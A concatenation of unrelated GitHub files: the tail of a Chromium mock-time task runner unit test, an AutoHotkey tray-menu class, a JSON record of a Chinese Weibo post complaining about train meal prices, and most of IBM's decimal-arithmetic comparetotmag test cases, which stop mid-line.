task_runner->FastForwardUntilNoTasksRemain(); EXPECT_EQ(start_time, task_runner->NowTicks()); } TEST(TestMockTimeTaskRunnerTest, AdvanceMockTickClockDoesNotRunTasks) { auto task_runner = MakeRefCounted<TestMockTimeTaskRunner>(); TimeTicks start_time = task_runner->NowTicks(); task_runner->PostTask(FROM_HERE, BindOnce([]() { ADD_FAILURE(); })); task_runner->PostDelayedTask(FROM_HERE, BindOnce([]() { ADD_FAILURE(); }), TimeDelta::FromSeconds(1)); task_runner->AdvanceMockTickClock(TimeDelta::FromSeconds(3)); EXPECT_EQ(start_time + TimeDelta::FromSeconds(3), task_runner->NowTicks()); EXPECT_EQ(2u, task_runner->GetPendingTaskCount()); } } // namespace base
{ "pile_set_name": "Github" }
class VimMenu{ __New(vim){ this.Vim := vim } SetMenu(){ MenuVimSetting := ObjBindMethod(this.Vim.Setting, "ShowGui") MenuVimCheck := ObjBindMethod(this.Vim.Check, "CheckMenu") MenuVimStatus := ObjBindMethod(this.Vim.State, "FullStatus") MenuVimAbout := ObjBindMethod(this.Vim.About, "ShowGui") Menu, VimSubMenu, Add, Settings, % MenuVimSetting Menu, VimSubMenu, Add Menu, VimSubMenu, Add, Vim Check, % MenuVimCheck Menu, VimSubMenu, Add, Status, % MenuVimStatus Menu, VimSubMenu, Add, About vim_ahk, % MenuVimAbout Menu, Tray, Add Menu, Tray, Add, VimMenu, :VimSubMenu } }
{ "pile_set_name": "Github" }
{ "multi":null, "text":"【震惊:火车盒饭居然只要五元!还可以免费加饭!我们被铁道部敲诈多少年!】新闻联播爆料,火车盒饭官方规定价格只要5元,吃不饱还可以加饭。但只要坐过火车的都知道火车上卖给我们盒饭的价格是15元,不可加饭,铁道部不仅扣留我们免费水还卖给我们高价盒饭。请@12315 消协介入此事,还旅客5元盒饭!", "user":{ "verified":false, "description":false, "gender":"m", "messages":107, "followers":7284, "location":"其他", "time":1317431912, "friends":1275, "verified_type":-1 }, "has_url":false, "comments":13, "pics":1, "source":"iPhone客户端", "likes":1, "time":1359366221, "reposts":638 }
{ "pile_set_name": "Github" }
------------------------------------------------------------------------ -- comparetotmag.decTest -- decimal comparison, abs. total ordering -- -- Copyright (c) IBM Corporation, 1981, 2008. All rights reserved. -- ------------------------------------------------------------------------ -- Please see the document "General Decimal Arithmetic Testcases" -- -- at http://www2.hursley.ibm.com/decimal for the description of -- -- these testcases. -- -- -- -- These testcases are experimental ('beta' versions), and they -- -- may contain errors. They are offered on an as-is basis. In -- -- particular, achieving the same results as the tests here is not -- -- a guarantee that an implementation complies with any Standard -- -- or specification. The tests are not exhaustive. -- -- -- -- Please send comments, suggestions, and corrections to the author: -- -- Mike Cowlishaw, IBM Fellow -- -- IBM UK, PO Box 31, Birmingham Road, Warwick CV34 5JL, UK -- -- mfc@uk.ibm.com -- ------------------------------------------------------------------------ version: 2.59 -- Note that it cannot be assumed that add/subtract tests cover paths -- for this operation adequately, here, because the code might be -- quite different (comparison cannot overflow or underflow, so -- actual subtractions are not necessary). Similarly, comparetotal -- will have some radically different paths than compare. extended: 1 precision: 16 rounding: half_up maxExponent: 384 minExponent: -383 -- sanity checks ctmx001 comparetotmag -2 -2 -> 0 ctmx002 comparetotmag -2 -1 -> 1 ctmx003 comparetotmag -2 0 -> 1 ctmx004 comparetotmag -2 1 -> 1 ctmx005 comparetotmag -2 2 -> 0 ctmx006 comparetotmag -1 -2 -> -1 ctmx007 comparetotmag -1 -1 -> 0 ctmx008 comparetotmag -1 0 -> 1 ctmx009 comparetotmag -1 1 -> 0 ctmx010 comparetotmag -1 2 -> -1 ctmx011 comparetotmag 0 -2 -> -1 ctmx012 comparetotmag 0 -1 -> -1 ctmx013 comparetotmag 0 0 -> 0 ctmx014 comparetotmag 0 1 -> -1 ctmx015 comparetotmag 0 2 -> -1 ctmx016 comparetotmag 1 -2 -> -1 ctmx017 comparetotmag 1 -1 -> 0 ctmx018 comparetotmag 1 0 -> 1 ctmx019 comparetotmag 1 1 -> 0 ctmx020 comparetotmag 1 2 -> -1 ctmx021 comparetotmag 2 -2 -> 0 ctmx022 comparetotmag 2 -1 -> 1 ctmx023 comparetotmag 2 0 -> 1 ctmx025 comparetotmag 2 1 -> 1 ctmx026 comparetotmag 2 2 -> 0 ctmx031 comparetotmag -20 -20 -> 0 ctmx032 comparetotmag -20 -10 -> 1 ctmx033 comparetotmag -20 00 -> 1 ctmx034 comparetotmag -20 10 -> 1 ctmx035 comparetotmag -20 20 -> 0 ctmx036 comparetotmag -10 -20 -> -1 ctmx037 comparetotmag -10 -10 -> 0 ctmx038 comparetotmag -10 00 -> 1 ctmx039 comparetotmag -10 10 -> 0 ctmx040 comparetotmag -10 20 -> -1 ctmx041 comparetotmag 00 -20 -> -1 ctmx042 comparetotmag 00 -10 -> -1 ctmx043 comparetotmag 00 00 -> 0 ctmx044 comparetotmag 00 10 -> -1 ctmx045 comparetotmag 00 20 -> -1 ctmx046 comparetotmag 10 -20 -> -1 ctmx047 comparetotmag 10 -10 -> 0 ctmx048 comparetotmag 10 00 -> 1 ctmx049 comparetotmag 10 10 -> 0 ctmx050 comparetotmag 10 20 -> -1 ctmx051 comparetotmag 20 -20 -> 0 ctmx052 comparetotmag 20 -10 -> 1 ctmx053 comparetotmag 20 00 -> 1 ctmx055 comparetotmag 20 10 -> 1 ctmx056 comparetotmag 20 20 -> 0 ctmx061 comparetotmag -2.0 -2.0 -> 0 ctmx062 comparetotmag -2.0 -1.0 -> 1 ctmx063 comparetotmag -2.0 0.0 -> 1 ctmx064 comparetotmag -2.0 1.0 -> 1 ctmx065 comparetotmag -2.0 2.0 -> 0 ctmx066 comparetotmag -1.0 -2.0 -> -1 ctmx067 comparetotmag -1.0 -1.0 -> 0 ctmx068 comparetotmag -1.0 0.0 -> 1 ctmx069 comparetotmag -1.0 1.0 -> 0 ctmx070 comparetotmag -1.0 2.0 -> -1 ctmx071 comparetotmag 0.0 -2.0 -> -1 ctmx072 comparetotmag 0.0 -1.0 -> -1 ctmx073 comparetotmag 0.0 0.0 -> 0 ctmx074 comparetotmag 0.0 1.0 -> -1 ctmx075 comparetotmag 0.0 2.0 -> -1 ctmx076 comparetotmag 1.0 -2.0 -> -1 ctmx077 comparetotmag 1.0 -1.0 -> 0 ctmx078 comparetotmag 1.0 0.0 -> 1 ctmx079 comparetotmag 1.0 1.0 -> 0 ctmx080 comparetotmag 1.0 2.0 -> -1 ctmx081 comparetotmag 2.0 -2.0 -> 0 ctmx082 comparetotmag 2.0 -1.0 -> 1 ctmx083 comparetotmag 2.0 0.0 -> 1 ctmx085 comparetotmag 2.0 1.0 -> 1 ctmx086 comparetotmag 2.0 2.0 -> 0 -- now some cases which might overflow if subtract were used maxexponent: 999999999 minexponent: -999999999 ctmx090 comparetotmag 9.99999999E+999999999 9.99999999E+999999999 -> 0 ctmx091 comparetotmag -9.99999999E+999999999 9.99999999E+999999999 -> 0 ctmx092 comparetotmag 9.99999999E+999999999 -9.99999999E+999999999 -> 0 ctmx093 comparetotmag -9.99999999E+999999999 -9.99999999E+999999999 -> 0 -- some differing length/exponent cases -- in this first group, compare would compare all equal ctmx100 comparetotmag 7.0 7.0 -> 0 ctmx101 comparetotmag 7.0 7 -> -1 ctmx102 comparetotmag 7 7.0 -> 1 ctmx103 comparetotmag 7E+0 7.0 -> 1 ctmx104 comparetotmag 70E-1 7.0 -> 0 ctmx105 comparetotmag 0.7E+1 7 -> 0 ctmx106 comparetotmag 70E-1 7 -> -1 ctmx107 comparetotmag 7.0 7E+0 -> -1 ctmx108 comparetotmag 7.0 70E-1 -> 0 ctmx109 comparetotmag 7 0.7E+1 -> 0 ctmx110 comparetotmag 7 70E-1 -> 1 ctmx120 comparetotmag 8.0 7.0 -> 1 ctmx121 comparetotmag 8.0 7 -> 1 ctmx122 comparetotmag 8 7.0 -> 1 ctmx123 comparetotmag 8E+0 7.0 -> 1 ctmx124 comparetotmag 80E-1 7.0 -> 1 ctmx125 comparetotmag 0.8E+1 7 -> 1 ctmx126 comparetotmag 80E-1 7 -> 1 ctmx127 comparetotmag 8.0 7E+0 -> 1 ctmx128 comparetotmag 8.0 70E-1 -> 1 ctmx129 comparetotmag 8 0.7E+1 -> 1 ctmx130 comparetotmag 8 70E-1 -> 1 ctmx140 comparetotmag 8.0 9.0 -> -1 ctmx141 comparetotmag 8.0 9 -> -1 ctmx142 comparetotmag 8 9.0 -> -1 ctmx143 comparetotmag 8E+0 9.0 -> -1 ctmx144 comparetotmag 80E-1 9.0 -> -1 ctmx145 comparetotmag 0.8E+1 9 -> -1 ctmx146 comparetotmag 80E-1 9 -> -1 ctmx147 comparetotmag 8.0 9E+0 -> -1 ctmx148 comparetotmag 8.0 90E-1 -> -1 ctmx149 comparetotmag 8 0.9E+1 -> -1 ctmx150 comparetotmag 8 90E-1 -> -1 -- and again, with sign changes -+ .. ctmx200 comparetotmag -7.0 7.0 -> 0 ctmx201 comparetotmag -7.0 7 -> -1 ctmx202 comparetotmag -7 7.0 -> 1 ctmx203 comparetotmag -7E+0 7.0 -> 1 ctmx204 comparetotmag -70E-1 7.0 -> 0 ctmx205 comparetotmag -0.7E+1 7 -> 0 ctmx206 comparetotmag -70E-1 7 -> -1 ctmx207 comparetotmag -7.0 7E+0 -> -1 ctmx208 comparetotmag -7.0 70E-1 -> 0 ctmx209 comparetotmag -7 0.7E+1 -> 0 ctmx210 comparetotmag -7 70E-1 -> 1 ctmx220 comparetotmag -8.0 7.0 -> 1 ctmx221 comparetotmag -8.0 7 -> 1 ctmx222 comparetotmag -8 7.0 -> 1 ctmx223 comparetotmag -8E+0 7.0 -> 1 ctmx224 comparetotmag -80E-1 7.0 -> 1 ctmx225 comparetotmag -0.8E+1 7 -> 1 ctmx226 comparetotmag -80E-1 7 -> 1 ctmx227 comparetotmag -8.0 7E+0 -> 1 ctmx228 comparetotmag -8.0 70E-1 -> 1 ctmx229 comparetotmag -8 0.7E+1 -> 1 ctmx230 comparetotmag -8 70E-1 -> 1 ctmx240 comparetotmag -8.0 9.0 -> -1 ctmx241 comparetotmag -8.0 9 -> -1 ctmx242 comparetotmag -8 9.0 -> -1 ctmx243 comparetotmag -8E+0 9.0 -> -1 ctmx244 comparetotmag -80E-1 9.0 -> -1 ctmx245 comparetotmag -0.8E+1 9 -> -1 ctmx246 comparetotmag -80E-1 9 -> -1 ctmx247 comparetotmag -8.0 9E+0 -> -1 ctmx248 comparetotmag -8.0 90E-1 -> -1 ctmx249 comparetotmag -8 0.9E+1 -> -1 ctmx250 comparetotmag -8 90E-1 -> -1 -- and again, with sign changes +- .. ctmx300 comparetotmag 7.0 -7.0 -> 0 ctmx301 comparetotmag 7.0 -7 -> -1 ctmx302 comparetotmag 7 -7.0 -> 1 ctmx303 comparetotmag 7E+0 -7.0 -> 1 ctmx304 comparetotmag 70E-1 -7.0 -> 0 ctmx305 comparetotmag .7E+1 -7 -> 0 ctmx306 comparetotmag 70E-1 -7 -> -1 ctmx307 comparetotmag 7.0 -7E+0 -> -1 ctmx308 comparetotmag 7.0 -70E-1 -> 0 ctmx309 comparetotmag 7 -.7E+1 -> 0 ctmx310 comparetotmag 7 -70E-1 -> 1 ctmx320 comparetotmag 8.0 -7.0 -> 1 ctmx321 comparetotmag 8.0 -7 -> 1 ctmx322 comparetotmag 8 -7.0 -> 1 ctmx323 comparetotmag 8E+0 -7.0 -> 1 ctmx324 comparetotmag 80E-1 -7.0 -> 1 ctmx325 comparetotmag .8E+1 -7 -> 1 ctmx326 comparetotmag 80E-1 -7 -> 1 ctmx327 comparetotmag 8.0 -7E+0 -> 1 ctmx328 comparetotmag 8.0 -70E-1 -> 1 ctmx329 comparetotmag 8 -.7E+1 -> 1 ctmx330 comparetotmag 8 -70E-1 -> 1 ctmx340 comparetotmag 8.0 -9.0 -> -1 ctmx341 comparetotmag 8.0 -9 -> -1 ctmx342 comparetotmag 8 -9.0 -> -1 ctmx343 comparetotmag 8E+0 -9.0 -> -1 ctmx344 comparetotmag 80E-1 -9.0 -> -1 ctmx345 comparetotmag .8E+1 -9 -> -1 ctmx346 comparetotmag 80E-1 -9 -> -1 ctmx347 comparetotmag 8.0 -9E+0 -> -1 ctmx348 comparetotmag 8.0 -90E-1 -> -1 ctmx349 comparetotmag 8 -.9E+1 -> -1 ctmx350 comparetotmag 8 -90E-1 -> -1 -- and again, with sign changes -- .. ctmx400 comparetotmag -7.0 -7.0 -> 0 ctmx401 comparetotmag -7.0 -7 -> -1 ctmx402 comparetotmag -7 -7.0 -> 1 ctmx403 comparetotmag -7E+0 -7.0 -> 1 ctmx404 comparetotmag -70E-1 -7.0 -> 0 ctmx405 comparetotmag -.7E+1 -7 -> 0 ctmx406 comparetotmag -70E-1 -7 -> -1 ctmx407 comparetotmag -7.0 -7E+0 -> -1 ctmx408 comparetotmag -7.0 -70E-1 -> 0 ctmx409 comparetotmag -7 -.7E+1 -> 0 ctmx410 comparetotmag -7 -70E-1 -> 1 ctmx420 comparetotmag -8.0 -7.0 -> 1 ctmx421 comparetotmag -8.0 -7 -> 1 ctmx422 comparetotmag -8 -7.0 -> 1 ctmx423 comparetotmag -8E+0 -7.0 -> 1 ctmx424 comparetotmag -80E-1 -7.0 -> 1 ctmx425 comparetotmag -.8E+1 -7 -> 1 ctmx426 comparetotmag -80E-1 -7 -> 1 ctmx427 comparetotmag -8.0 -7E+0 -> 1 ctmx428 comparetotmag -8.0 -70E-1 -> 1 ctmx429 comparetotmag -8 -.7E+1 -> 1 ctmx430 comparetotmag -8 -70E-1 -> 1 ctmx440 comparetotmag -8.0 -9.0 -> -1 ctmx441 comparetotmag -8.0 -9 -> -1 ctmx442 comparetotmag -8 -9.0 -> -1 ctmx443 comparetotmag -8E+0 -9.0 -> -1 ctmx444 comparetotmag -80E-1 -9.0 -> -1 ctmx445 comparetotmag -.8E+1 -9 -> -1 ctmx446 comparetotmag -80E-1 -9 -> -1 ctmx447 comparetotmag -8.0 -9E+0 -> -1 ctmx448 comparetotmag -8.0 -90E-1 -> -1 ctmx449 comparetotmag -8 -.9E+1 -> -1 ctmx450 comparetotmag -8 -90E-1 -> -1 -- testcases that subtract to lots of zeros at boundaries [pgr] precision: 40 ctmx470 comparetotmag 123.4560000000000000E789 123.456E789 -> -1 ctmx471 comparetotmag 123.456000000000000E-89 123.456E-89 -> -1 ctmx472 comparetotmag 123.45600000000000E789 123.456E789 -> -1 ctmx473 comparetotmag 123.4560000000000E-89 123.456E-89 -> -1 ctmx474 comparetotmag 123.456000000000E789 123.456E789 -> -1 ctmx475 comparetotmag 123.45600000000E-89 123.456E-89 -> -1 ctmx476 comparetotmag 123.4560000000E789 123.456E789 -> -1 ctmx477 comparetotmag 123.456000000E-89 123.456E-89 -> -1 ctmx478 comparetotmag 123.45600000E789 123.456E789 -> -1 ctmx479 comparetotmag 123.4560000E-89 123.456E-89 -> -1 ctmx480 comparetotmag 123.456000E789 123.456E789 -> -1 ctmx481 comparetotmag 123.45600E-89 123.456E-89 -> -1 ctmx482 comparetotmag 123.4560E789 123.456E789 -> -1 ctmx483 comparetotmag 123.456E-89 123.456E-89 -> 0 ctmx484 comparetotmag 123.456E-89 123.4560000000000000E-89 -> 1 ctmx485 comparetotmag 123.456E789 123.456000000000000E789 -> 1 ctmx486 comparetotmag 123.456E-89 123.45600000000000E-89 -> 1 ctmx487 comparetotmag 123.456E789 123.4560000000000E789 -> 1 ctmx488 comparetotmag 123.456E-89 123.456000000000E-89 -> 1 ctmx489 comparetotmag 123.456E789 123.45600000000E789 -> 1 ctmx490 comparetotmag 123.456E-89 123.4560000000E-89 -> 1 ctmx491 comparetotmag 123.456E789 123.456000000E789 -> 1 ctmx492 comparetotmag 123.456E-89 123.45600000E-89 -> 1 ctmx493 comparetotmag 123.456E789 123.4560000E789 -> 1 ctmx494 comparetotmag 123.456E-89 123.456000E-89 -> 1 ctmx495 comparetotmag 123.456E789 123.45600E789 -> 1 ctmx496 comparetotmag 123.456E-89 123.4560E-89 -> 1 ctmx497 comparetotmag 123.456E789 123.456E789 -> 0 -- wide-ranging, around precision; signs equal precision: 9 ctmx500 comparetotmag 1 1E-15 -> 1 ctmx501 comparetotmag 1 1E-14 -> 1 ctmx502 comparetotmag 1 1E-13 -> 1 ctmx503 comparetotmag 1 1E-12 -> 1 ctmx504 comparetotmag 1 1E-11 -> 1 ctmx505 comparetotmag 1 1E-10 -> 1 ctmx506 comparetotmag 1 1E-9 -> 1 ctmx507 comparetotmag 1 1E-8 -> 1 ctmx508 comparetotmag 1 1E-7 -> 1 ctmx509 comparetotmag 1 1E-6 -> 1 ctmx510 comparetotmag 1 1E-5 -> 1 ctmx511 comparetotmag 1 1E-4 -> 1 ctmx512 comparetotmag 1 1E-3 -> 1 ctmx513 comparetotmag 1 1E-2 -> 1 ctmx514 comparetotmag 1 1E-1 -> 1 ctmx515 comparetotmag 1 1E-0 -> 0 ctmx516 comparetotmag 1 1E+1 -> -1 ctmx517 comparetotmag 1 1E+2 -> -1 ctmx518 comparetotmag 1 1E+3 -> -1 ctmx519 comparetotmag 1 1E+4 -> -1 ctmx521 comparetotmag 1 1E+5 -> -1 ctmx522 comparetotmag 1 1E+6 -> -1 ctmx523 comparetotmag 1 1E+7 -> -1 ctmx524 comparetotmag 1 1E+8 -> -1 ctmx525 comparetotmag 1 1E+9 -> -1 ctmx526 comparetotmag 1 1E+10 -> -1 ctmx527 comparetotmag 1 1E+11 -> -1 ctmx528 comparetotmag 1 1E+12 -> -1 ctmx529 comparetotmag 1 1E+13 -> -1 ctmx530 comparetotmag 1 1E+14 -> -1 ctmx531 comparetotmag 1 1E+15 -> -1 -- LR swap ctmx540 comparetotmag 1E-15 1 -> -1 ctmx541 comparetotmag 1E-14 1 -> -1 ctmx542 comparetotmag 1E-13 1 -> -1 ctmx543 comparetotmag 1E-12 1 -> -1 ctmx544 comparetotmag 1E-11 1 -> -1 ctmx545 comparetotmag 1E-10 1 -> -1 ctmx546 comparetotmag 1E-9 1 -> -1 ctmx547 comparetotmag 1E-8 1 -> -1 ctmx548 comparetotmag 1E-7 1 -> -1 ctmx549 comparetotmag 1E-6 1 -> -1 ctmx550 comparetotmag 1E-5 1 -> -1 ctmx551 comparetotmag 1E-4 1 -> -1 ctmx552 comparetotmag 1E-3 1 -> -1 ctmx553 comparetotmag 1E-2 1 -> -1 ctmx554 comparetotmag 1E-1 1 -> -1 ctmx555 comparetotmag 1E-0 1 -> 0 ctmx556 comparetotmag 1E+1 1 -> 1 ctmx557 comparetotmag 1E+2 1 -> 1 ctmx558 comparetotmag 1E+3 1 -> 1 ctmx559 comparetotmag 1E+4 1 -> 1 ctmx561 comparetotmag 1E+5 1 -> 1 ctmx562 comparetotmag 1E+6 1 -> 1 ctmx563 comparetotmag 1E+7 1 -> 1 ctmx564 comparetotmag 1E+8 1 -> 1 ctmx565 comparetotmag 1E+9 1 -> 1 ctmx566 comparetotmag 1E+10 1 -> 1 ctmx567 comparetotmag 1E+11 1 -> 1 ctmx568 comparetotmag 1E+12 1 -> 1 ctmx569 comparetotmag 1E+13 1 -> 1 ctmx570 comparetotmag 1E+14 1 -> 1 ctmx571 comparetotmag 1E+15 1 -> 1 -- similar with an useful coefficient, one side only ctmx580 comparetotmag 0.000000987654321 1E-15 -> 1 ctmx581 comparetotmag 0.000000987654321 1E-14 -> 1 ctmx582 comparetotmag 0.000000987654321 1E-13 -> 1 ctmx583 comparetotmag 0.000000987654321 1E-12 -> 1 ctmx584 comparetotmag 0.000000987654321 1E-11 -> 1 ctmx585 comparetotmag 0.000000987654321 1E-10 -> 1 ctmx586 comparetotmag 0.000000987654321 1E-9 -> 1 ctmx587 comparetotmag 0.000000987654321 1E-8 -> 1 ctmx588 comparetotmag 0.000000987654321 1E-7 -> 1 ctmx589 comparetotmag 0.000000987654321 1E-6 -> -1 ctmx590 comparetotmag 0.000000987654321 1E-5 -> -1 ctmx591 comparetotmag 0.000000987654321 1E-4 -> -1 ctmx592 comparetotmag 0.000000987654321 1E-3 -> -1 ctmx593 comparetotmag 0.000000987654321 1E-2 -> -1 ctmx594 comparetotmag 0.000000987654321 1E-1 -> -1 ctmx595 comparetotmag 0.000000987654321 1E-0 -> -1 ctmx596 comparetotmag 0.000000987654321 1E+1 -> -1 ctmx597 comparetotmag 0.000000987654321 1E+2 -> -1 ctmx598 comparetotmag 0.000000987654321 1E+3 -> -1 ctmx599 comparetotmag 0.000000987654321 1E+4 -> -1 -- check some unit-y traps precision: 20 ctmx600 comparetotmag 12 12.2345 -> -1 ctmx601 comparetotmag 12.0 12.2345 -> -1 ctmx602 comparetotmag 12.00 12.2345 -> -1 ctmx603 comparetotmag 12.000 12.2345 -> -1 ctmx604 comparetotmag 12.0000 12.2345 -> -1 ctmx605 comparetotmag 12.00000 12.2345 -> -1 ctmx606 comparetotmag 12.000000 12.2345 -> -1 ctmx607 comparetotmag 12.0000000 12.2345 -> -1 ctmx608 comparetotmag 12.00000000 12.2345 -> -1 ctmx609 comparetotmag 12.000000000 12.2345 -> -1 ctmx610 comparetotmag 12.1234 12 -> 1 ctmx611 comparetotmag 12.1234 12.0 -> 1 ctmx612 comparetotmag 12.1234 12.00 -> 1 ctmx613 comparetotmag 12.1234 12.000 -> 1 ctmx614 comparetotmag 12.1234 12.0000 -> 1 ctmx615 comparetotmag 12.1234 12.00000 -> 1 ctmx616 comparetotmag 12.1234 12.000000 -> 1 ctmx617 comparetotmag 12.1234 12.0000000 -> 1 ctmx618 comparetotmag 12.1234 12.00000000 -> 1 ctmx619 comparetotmag 12.1234 12.000000000 -> 1 ctmx620 comparetotmag -12 -12.2345 -> -1 ctmx621 comparetotmag -12.0 -12.2345 -> -1 ctmx622 comparetotmag -12.00 -12.2345 -> -1 ctmx623 comparetotmag -12.000 -12.2345 -> -1 ctmx624 comparetotmag -12.0000 -12.2345 -> -1 ctmx625 comparetotmag -12.00000 -12.2345 -> -1 ctmx626 comparetotmag -12.000000 -12.2345 -> -1 ctmx627 comparetotmag -12.0000000 -12.2345 -> -1 ctmx628 comparetotmag -12.00000000 -12.2345 -> -1 ctmx629 comparetotmag -12.000000000 -12.2345 -> -1 ctmx630 comparetotmag -12.1234 -12 -> 1 ctmx631 comparetotmag -12.1234 -12.0 -> 1 ctmx632 comparetotmag -12.1234 -12.00 -> 1 ctmx633 comparetotmag -12.1234 -12.000 -> 1 ctmx634 comparetotmag -12.1234 -12.0000 -> 1 ctmx635 comparetotmag -12.1234 -12.00000 -> 1 ctmx636 comparetotmag -12.1234 -12.000000 -> 1 ctmx637 comparetotmag -12.1234 -12.0000000 -> 1 ctmx638 comparetotmag -12.1234 -12.00000000 -> 1 ctmx639 comparetotmag -12.1234 -12.000000000 -> 1 precision: 9 -- extended zeros ctmx640 comparetotmag 0 0 -> 0 ctmx641 comparetotmag 0 -0 -> 0 ctmx642 comparetotmag 0 -0.0 -> 1 ctmx643 comparetotmag 0 0.0 -> 1 ctmx644 comparetotmag -0 0 -> 0 ctmx645 comparetotmag -0 -0 -> 0 ctmx646 comparetotmag -0 -0.0 -> 1 ctmx647 comparetotmag -0 0.0 -> 1 ctmx648 comparetotmag 0.0 0 -> -1 ctmx649 comparetotmag 0.0 -0 -> -1 ctmx650 comparetotmag 0.0 -0.0 -> 0 ctmx651 comparetotmag 0.0 0.0 -> 0 ctmx652 comparetotmag -0.0 0 -> -1 ctmx653 comparetotmag -0.0 -0 -> -1 ctmx654 comparetotmag -0.0 -0.0 -> 0 ctmx655 comparetotmag -0.0 0.0 -> 0 ctmx656 comparetotmag -0E1 0.0 -> 1 ctmx657 comparetotmag -0E2 0.0 -> 1 ctmx658 comparetotmag 0E1 0.0 -> 1 ctmx659 comparetotmag 0E2 0.0 -> 1 ctmx660 comparetotmag -0E1 0 -> 1 ctmx661 comparetotmag -0E2 0 -> 1 ctmx662 comparetotmag 0E1 0 -> 1 ctmx663 comparetotmag 0E2 0 -> 1 ctmx664 comparetotmag -0E1 -0E1 -> 0 ctmx665 comparetotmag -0E2 -0E1 -> 1 ctmx666 comparetotmag 0E1 -0E1 -> 0 ctmx667 comparetotmag 0E2 -0E1 -> 1 ctmx668 comparetotmag -0E1 -0E2 -> -1 ctmx669 comparetotmag -0E2 -0E2 -> 0 ctmx670 comparetotmag 0E1 -0E2 -> -1 ctmx671 comparetotmag 0E2 -0E2 -> 0 ctmx672 comparetotmag -0E1 0E1 -> 0 ctmx673 comparetotmag -0E2 0E1 -> 1 ctmx674 comparetotmag 0E1 0E1 -> 0 ctmx675 comparetotmag 0E2 0E1 -> 1 ctmx676 comparetotmag -0E1 0E2 -> -1 ctmx677 comparetotmag -0E2 0E2 -> 0 ctmx678 comparetotmag 0E1 0E2 -> -1 ctmx679 comparetotmag 0E2 0E2 -> 0 -- trailing zeros; unit-y precision: 20 ctmx680 comparetotmag 12 12 -> 0 ctmx681 comparetotmag 12 12.0 -> 1 ctmx682 comparetotmag 12 12.00 -> 1 ctmx683 comparetotmag 12 12.000 -> 1 ctmx684 comparetotmag 12 12.0000 -> 1 ctmx685 comparetotmag 12 12.00000 -> 1 ctmx686 comparetotmag 12 12.000000 -> 1 ctmx687 comparetotmag 12 12.0000000 -> 1 ctmx688 comparetotmag 12 12.00000000 -> 1 ctmx689 comparetotmag 12 12.000000000 -> 1 ctmx690 comparetotmag 12 12 -> 0 ctmx691 comparetotmag 12.0 12 -> -1 ctmx692 comparetotmag 12.00 12 -> -1 ctmx693 comparetotmag 12.000 12 -> -1 ctmx694 comparetotmag 12.0000 12 -> -1 ctmx695 comparetotmag 12.00000 12 -> -1 ctmx696 comparetotmag 12.000000 12 -> -1 ctmx697 comparetotmag 12.0000000 12 -> -1 ctmx698 comparetotmag 12.00000000 12 -> -1 ctmx699 comparetotmag 12.000000000 12 -> -1 -- long operand checks maxexponent: 999 minexponent: -999 precision: 9 ctmx701 comparetotmag 12345678000 1 -> 1 ctmx702 comparetotmag 1 12345678000 -> -1 ctmx703 comparetotmag 1234567800 1 -> 1 ctmx704 comparetotmag 1 1234567800 -> -1 ctmx705 comparetotmag 1234567890 1 -> 1 ctmx706 comparetotmag 1 1234567890 -> -1 ctmx707 comparetotmag 1234567891 1 -> 1 ctmx708 comparetotmag 1 1234567891 -> -1 ctmx709 comparetotmag 12345678901 1 -> 1 ctmx710 comparetotmag 1 12345678901 -> -1 ctmx711 comparetotmag 1234567896 1 -> 1 ctmx712 comparetotmag 1 1234567896 -> -1 ctmx713 comparetotmag -1234567891 1 -> 1 ctmx714 comparetotmag 1 -1234567891 -> -1 ctmx715 comparetotmag -12345678901 1 -> 1 ctmx716 comparetotmag 1 -12345678901 -> -1 ctmx717 comparetotmag -1234567896 1 -> 1 ctmx718 comparetotmag 1 -1234567896 -> -1 precision: 15 -- same with plenty of precision ctmx721 comparetotmag 12345678000 1 -> 1 ctmx722 comparetotmag 1 12345678000 -> -1 ctmx723 comparetotmag 1234567800 1 -> 1 ctmx724 comparetotmag 1 1234567800 -> -1 ctmx725 comparetotmag 1234567890 1 -> 1 ctmx726 comparetotmag 1 1234567890 -> -1 ctmx727 comparetotmag 1234567891 1 -> 1 ctmx728 comparetotmag 1 1234567891 -> -1 ctmx729 comparetotmag 12345678901 1 -> 1 ctmx730 comparetotmag 1 12345678901 -> -1 ctmx731 comparetotmag 1234567896 1 -> 1 ctmx732 comparetotmag 1 1234567896 -> -1 -- residue cases precision: 5 ctmx740 comparetotmag 1 0.9999999 -> 1 ctmx741 comparetotmag 1 0.999999 -> 1 ctmx742 comparetotmag 1 0.99999 -> 1 ctmx743 comparetotmag 1 1.0000 -> 1 ctmx744 comparetotmag 1 1.00001 -> -1 ctmx745 comparetotmag 1 1.000001 -> -1 ctmx746 comparetotmag 1 1.0000001 -> -1 ctmx750 comparetotmag 0.9999999 1 -> -1 ctmx751 comparetotmag 0.999999 1 -> -1 ctmx752 comparetotmag 0.99999 1 -> -1 ctmx753 comparetotmag 1.0000 1 -> -1 ctmx754 comparetotmag 1.00001 1 -> 1 ctmx755 comparetotmag 1.000001 1 -> 1 ctmx756 comparetotmag 1.0000001 1 -> 1 -- a selection of longies ctmx760 comparetotmag -36852134.84194296250843579428931 -5830629.8347085025808756560357940 -> 1 ctmx761 comparetotmag -36852134.84194296250843579428931 -36852134.84194296250843579428931 -> 0 ctmx762 comparetotmag -36852134.94194296250843579428931 -36852134.84194296250843579428931 -> 1 ctmx763 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 -- precisions above or below the difference should have no effect precision: 11 ctmx764 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 10 ctmx765 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 9 ctmx766 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 8 ctmx767 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 7 ctmx768 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 6 ctmx769 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 5 ctmx770 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 4 ctmx771 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 3 ctmx772 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 2 ctmx773 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 precision: 1 ctmx774 comparetotmag -36852134.84194296250843579428931 -36852134.94194296250843579428931 -> -1 -- Specials precision: 9 ctmx780 comparetotmag Inf -Inf -> 0 ctmx781 comparetotmag Inf -1000 -> 1 ctmx782 comparetotmag Inf -1 -> 